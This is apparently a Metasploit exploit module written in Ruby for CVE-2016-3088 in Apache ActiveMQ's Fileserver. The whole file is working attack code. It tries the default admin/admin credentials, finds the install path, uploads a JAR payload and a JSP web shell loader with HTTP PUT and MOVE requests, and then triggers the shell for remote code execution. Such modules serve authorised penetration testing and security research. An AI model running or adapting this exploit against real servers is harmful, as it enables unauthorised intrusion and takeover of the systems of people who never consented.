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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'        => 'ActiveMQ web shell upload',
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      'Description' => %q(
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        The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
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        allows remote attackers to upload and execute arbitrary files via an
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        HTTP PUT followed by an HTTP MOVE request.
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      ),
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      'Author'      => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
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      'License'     => MSF_LICENSE,
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      'References'  =>
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        [
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          [ 'CVE', '2016-3088' ],
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          [ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
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        ],
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      'Privileged'  => true,
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      'Platform'    => %w{ java linux win },
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      'Targets'     =>
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        [
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          [ 'Java Universal',
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            {
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              'Platform' => 'java',
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              'Arch' => ARCH_JAVA
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            }
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          ],
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          [ 'Linux',
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            {
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              'Platform' => 'linux',
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              'Arch' => ARCH_X86
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            }
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          ],
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          [ 'Windows',
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             {
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               'Platform' => 'win',
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               'Arch' => ARCH_X86
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             }
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           ]
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        ],
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      'DisclosureDate' => '2016-06-01',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
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        OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
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        OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
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        OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
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        Opt::RPORT(8161)
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      ])
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    register_advanced_options(
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      [
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        OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
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      ])
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  end
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  def jsp_text(payload_name)
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    %{
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    <%@ page import="java.io.*"
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    %><%@ page import="java.net.*"
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    %><%
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    URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
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    Class c = cl.loadClass("metasploit.Payload");
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    c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
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    %>}
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  end
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  def exploit
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    jar_payload = payload.encoded_jar.pack
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    payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
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    host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
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    @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
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    paths = get_upload_paths
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    paths.each do |path|
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      if try_upload(path, jar_payload, payload_name)
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        break handler if trigger_payload(payload_name)
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        print_error('Unable to trigger payload')
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      end
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    end
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  end
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  def try_upload(path, jar_payload, payload_name)
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    ['.jar', '.jsp'].each do |ext|
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      file_name = payload_name + ext
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      data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
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      move_headers = { 'Destination' => "#{@url}/#{path}/#{file_name}" }
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      upload_uri = normalize_uri('fileserver', file_name)
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      print_status("Uploading #{move_headers['Destination']}")
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      register_files_for_cleanup "#{path}/#{file_name}" if datastore['AutoCleanup'].casecmp('true')
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      return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
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                              send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
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      @trigger_resource = /webapps(.*)/.match(path)[1]
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    end
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    true
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  end
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  def get_upload_paths
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    base_path = "#{get_install_path}/webapps"
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    custom_path = datastore['UploadPath']
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    return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
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    [ "#{base_path}/api/", "#{base_path}/admin/" ]
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  end
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  def get_install_path
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    properties_page = send_request('GET', "#{@url}/admin/test/")
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    fail_with(Failure::UnexpectedReply, 'Target did not respond with 200 OK to a request to /admin/test/!') if properties_page == false
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    properties_page = properties_page.body
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    match = properties_page.match(/activemq\.home=([^,}]+)/)
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    return match[1] unless match.nil?
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  end
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  def send_request(method, uri, expected_response = 200, opts = {})
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    opts['headers'] ||= {}
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    opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
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    opts['headers']['Connection'] = 'close'
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    r = send_request_cgi(
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      {
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        'method'  => method,
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        'uri'     => uri
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      }.merge(opts)
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    )
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    if r.nil?
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      fail_with(Failure::Unreachable, 'Could not reach the target!')
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    end
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    return false if expected_response != r.code.to_i
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    r
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  end
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  def trigger_payload(payload_name)
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    send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
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  end
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  def error_out
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    print_error('Upload failed')
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    @trigger_resource = nil
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    false
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  end
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end
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